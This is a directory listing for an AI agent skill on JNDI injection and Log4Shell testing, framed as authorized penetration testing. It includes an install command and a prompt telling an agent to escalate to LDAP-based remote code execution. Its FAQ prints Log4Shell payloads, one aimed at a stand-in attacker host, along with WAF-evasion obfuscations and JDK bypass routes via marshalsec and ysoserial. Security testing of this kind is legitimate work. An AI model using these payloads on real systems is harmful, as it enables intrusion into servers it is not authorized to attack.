skills.rest
lNwNl
lNwNlCOMMUNITY
Explore all skills by this author →
GitHub

jndi-injection

Guides JNDI injection testing against Java applications via RMI, LDAP, and Log4Shell vectors.

Updated Jun 5, 2026
Search Tags:#penetration testing#rce#ldap#log4shell#rmi#jndi injection#java security
One-click install
npx skills add https://github.com/lNwNl/Praxis --skill jndi-injection-lnwnl
Or copy as Structured Prompt for Agent▼
Please help me install this Agent Skill.
Skill: jndi-injection
Source: https://github.com/lNwNl/Praxis/tree/main/skills/jndi-injection
Command: npx skills add https://github.com/lNwNl/Praxis --skill jndi-injection-lnwnl

SYSTEM DOCUMENTATION & REQUIREMENTS

What problem does it solve? Java applications that pass attacker-controlled input to InitialContext.lookup() can be exploited for remote code execution, but the attack path varies by JDK version, protocol, and classpath, making manual testing error-prone and easy to confuse with generic deserialization bugs. ## Core Features & Use Cases - Attack Vector Coverage: Details RMI, LDAP, and DNS-based JNDI lookup abuse, including remote class loading and serialized gadget delivery. - JDK Version Bypass Matrix: Maps JDK versions (pre-8u121, 8u121-8u190, post-8u191) to viable exploitation strategies such as ysoserial JRMPListener and BeanFactory EL injection. - Log4Shell Playbook: Provides Log4j2 CVE-2021-44228 detection payloads, WAF bypass obfuscation variants, and injection point checklists. - Use Case: During an authorized pentest of a Solr instance, send a DNS-only ${jndi:...} probe to confirm lookup evaluation, exfiltrate the Java version via DNS, then stand up a marshalsec LDAP server to achieve RCE. ## Quick Start Ask the agent to test a suspected Log4Shell injection point on the target using a DNS callback payload and then escalate to LDAP-based RCE based on the detected JDK version.

Frequently Asked Questions about jndi-injection

High-intent search queries and answers about installing and using this skill.

FAQPage Schema
How do I test for JNDI injection in a Java application?▼

Send a DNS-only probe such as ${jndi:dns://TOKEN.collab.net} to any input that may reach a lookup sink. A DNS hit on your authoritative server confirms JNDI evaluation without risking code execution.

How to exploit Log4Shell CVE-2021-44228 step by step?▼

Inject ${jndi:ldap://attacker/x} into logged fields like User-Agent or form parameters, confirm with a DNS callback, then serve a remote class via marshalsec LDAPRefServer for RCE on vulnerable Log4j2 versions 2.0-beta9 through 2.14.1.

Does JNDI remote class loading work on JDK 8u191 or later?▼

No, JDK 8u191 disables remote class loading for both RMI and LDAP by default. Bypass options include returning a serialized gadget object via LDAP, using Tomcat BeanFactory with EL injection, or ysoserial's JRMPListener.

What is the difference between RMI and LDAP JNDI attack vectors?▼

RMI remote class loading was restricted earlier (JDK 8u121) than LDAP (8u191), so LDAP is generally preferred. Both deliver a Reference pointing to an attacker-hosted class, while LDAP can also return serialized objects.

How to bypass WAF detection of ${jndi:} payloads?▼

Use Log4j2 lookup parser tricks like ${${lower:j}ndi:...}, ${${::-j}ndi:...}, or environment-variable defaults such as ${${env:NaN:-j}ndi:...} to break the literal signature while preserving evaluation.

Which tools automate JNDI injection exploitation?▼

marshalsec provides LDAPRefServer and RMIRefServer for serving remote class references. JNDI-Injection-Exploit and Rogue JNDI bundle RMI, LDAP, and HTTP servers with auto-generated payloads for a given command.

Related Skills

Explore More Software Engineering Skills→
utsavthakurutsavthakur

jndi-injection

Identify JNDI injection vulnerabilities in Java applications via RMI, LDAP, and DNS patterns.

Community
Advanced
xjtu-wangxjtu-wang
4

competition-linux-credential-pivot

Trace Linux credential artifacts and host-to-host pivot chains in sandboxed environments.

Community
Advanced
ArianHobson333ArianHobson333
7

deserialization

Trace user-controlled data to deserialization sinks across six programming languages.

Community
Advanced
bingookbingook

expression-language-injection

Detect and exploit Expression Language injection vulnerabilities in Java frameworks.

Community
Advanced